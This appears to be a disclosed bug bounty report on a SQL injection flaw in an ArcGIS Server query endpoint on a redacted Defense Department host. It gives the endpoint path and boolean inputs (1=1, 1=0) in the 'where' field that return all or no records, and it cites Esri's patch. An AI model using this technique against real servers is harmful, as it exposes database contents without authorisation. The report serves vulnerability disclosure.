U.S. Dept Of Defense: SQL injection on ██████████ via 'where' parameter

An sql injection vulnerability is produced on ‘where’ parameter of ArcGIS server allows to retreive db content

PoC

1- Go to https://█████/arcgis/rest/services/Data/ANC_External/MapServer/1/query?where=&text=&objectIds=&time=&timeRelation=esriTimeRelationOverlaps&geometry=&geometryType=esriGeometryEnvelope&inSR=&spatialRel=esriSpatialRelIntersects&distance=&units=esriSRUnit_Foot&relationParam=&outFields=&returnGeometry=true&returnTrueCurves=false&maxAllowableOffset=&geometryPrecision=&outSR=&havingClause=&returnIdsOnly=false&returnCountOnly=false&orderByFields=&groupByFieldsForStatistics=&outStatistics=&returnZ=false&returnM=false&gdbVersion=&historicMoment=&returnDistinctValues=false&resultOffset=&resultRecordCount=&returnExtentOnly=false&sqlFormat=none&datumTransformation=&parameterValues=&rangeValues=&quantizationParameters=&featureEncoding=esriDefault&f=html, this will show a web form.

2- On where field, insert the following query : 1=1, the query is a 1=1 that is true, so it will show all record content of the DB.

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3- So if you inserts 1=0 on where column, the server response will be empty and didn’t show any info.

NOTE: i will attach the sql injection vulnerability confirmed by esri support: https://support.esri.com/en-us/knowledge-base/arcgis-10-1-sp1-for-server-contains-a-blind-sql-injecti-000011683

Impact

An attacker is able to exploit sql injection via arcGIS server

System Host(s)

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Steps to Reproduce

1- Go to https://██████/arcgis/rest/services/Data/ANC_External/MapServer/1/query?where=&text=&objectIds=&time=&timeRelation=esriTimeRelationOverlaps&geometry=&geometryType=esriGeometryEnvelope&inSR=&spatialRel=esriSpatialRelIntersects&distance=&units=esriSRUnit_Foot&relationParam=&outFields=&returnGeometry=true&returnTrueCurves=false&maxAllowableOffset=&geometryPrecision=&outSR=&havingClause=&returnIdsOnly=false&returnCountOnly=false&orderByFields=&groupByFieldsForStatistics=&outStatistics=&returnZ=false&returnM=false&gdbVersion=&historicMoment=&returnDistinctValues=false&resultOffset=&resultRecordCount=&returnExtentOnly=false&sqlFormat=none&datumTransformation=&parameterValues=&rangeValues=&quantizationParameters=&featureEncoding=esriDefault&f=html, this will show a web form.

2- On where field, insert the following query : 1=1, the query is a 1=1 that is true, so it will show all record content of the DB.

3- So if you inserts 1=0 on where column, the server response will be empty and didn’t show any info.

Suggested Mitigation/Remediation Actions

Esri released an update to ArcGIS Server 10.1 Service Pack 1. If you cannot patch, please consider the following workarounds.